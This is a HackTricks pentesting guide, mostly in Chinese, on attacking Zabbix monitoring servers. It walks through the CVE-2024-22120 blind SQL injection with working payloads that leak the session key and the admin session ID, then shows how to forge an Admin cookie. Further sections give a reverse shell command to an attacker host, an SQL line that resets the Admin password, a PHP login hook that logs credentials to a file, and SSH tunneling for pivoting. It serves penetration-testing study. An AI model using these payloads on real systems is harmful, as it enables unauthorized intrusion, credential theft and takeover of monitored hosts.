Zabbix 安全
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
Zabbix 是一个监控平台,暴露出一个 Web UI(通常位于 Apache/Nginx 后面)以及一个 server 组件(在 TCP/10051 上使用 Zabbix 协议)和 agent(在 TCP/10050)。在渗透测试过程中,你可能会遇到:
- Web UI: HTTP(S) 虚拟主机,例如 zabbix.example.tld
- Zabbix server 端口: 10051/tcp(JSON 通过 ZBXD header 封装)
- Zabbix agent 端口: 10050/tcp
有用的 cookie 格式:zbx_session 是一个紧凑 JSON 对象的 Base64 编码,至少包含 sessionid、serverCheckResult、serverCheckTime 和 sign。sign 是 JSON 载荷的 HMAC。
zbx_session cookie internals
Recent Zabbix versions compute the cookie like:
- data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
如果你能恢复全局的 session_key 和一个有效的 admin sessionid,就可以离线伪造一个有效的 Admin cookie 并登录 UI。
CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
受影响版本(公开记录):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
漏洞概述:
- 当 Script execution 被记录到 Zabbix Server 的 audit log 时,clientip 字段未经过消毒并被拼接进 SQL,从而通过 server 组件导致 time-based blind SQLi。
- 可通过向 Zabbix server 的 10051 端口发送精心构造的 “command” 请求来利用此漏洞,要求使用有效的低权限 sessionid、一个用户可访问的 hostid,以及该用户被允许运行的 scriptid。
先决条件和发现提示:
- sessionid:从 Web UI 的 guest/login 获取,解码 zbx_session(Base64)即可得到 sessionid。
- hostid:通过 Web UI 请求观察(例如 Monitoring → Hosts)或用代理拦截;常见默认是 10084。
- scriptid:只有对当前角色允许的脚本才会执行;通过查看脚本菜单或 AJAX 响应进行验证。像 1 或 2 这样的默认值通常被允许;3 可能被拒绝。
利用流程
- 触发带有 clientip 中 SQLi 的 audit insert
- Connect to TCP/10051 and send a Zabbix framed message with request=“command” including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
完整的 wire 格式为: “ZBXD\x01” + 8-byte little-endian length + UTF-8 JSON。你可以使用 pwntools 或你自己的 socket 代码来构造它。
- Time-bruteforce secrets via conditional sleep
使用条件表达式通过测量响应时间逐字符地 leak hex-encoded secrets(每次 1 个字符)。
Examples that have worked in practice:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) 从 sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notes:
- charset: 32 hex chars [0-9a-f]
- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
- 伪造 Admin cookie
Once you have:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
现成的 tooling
- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
- Parameters to provide typically include: –ip (FQDN of UI), –port 10051, –sid (low-priv), –hostid, and optionally a known –admin-sid to skip brute.
RCE via Script execution (post-Admin)
With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts):
- Quick check: run id to confirm user context
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY 升级 (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
如果你有 DB 访问权限,伪造 cookie 的替代方法是将 Admin 密码重置为文档中为 “zabbix” 提供的 bcrypt:
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
通过 login hook 捕获凭证 (post-exploitation)
如果可以在 web UI 服务器上写入文件,您可以暂时在 /usr/share/zabbix/index.php 的基于表单的登录分支周围添加一个日志记录片段以捕获凭证:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
用户正常认证;随后读取 /dev/shm/creds.txt。完成后移除 hook。
Pivoting to internal services
即使服务账户的 shell 是 /usr/sbin/nologin,添加一个 SSH authorized_keys 条目并使用 -N -L 也允许本地 port-forwarding 到仅回环的服务(例如在 8111 的 CI/CD):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
查看更多隧道模式:查看 Tunneling and Port Forwarding.
操作提示
- 验证 scriptid 是否被当前角色允许(guest 可能有权限限制)
- Timing brute 可能很慢;缓存恢复的 admin sessionid 并重复使用
- 发送到 10051 的 JSON 必须以 ZBXD\x01 头和 little-endian 长度进行封装
参考资料
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

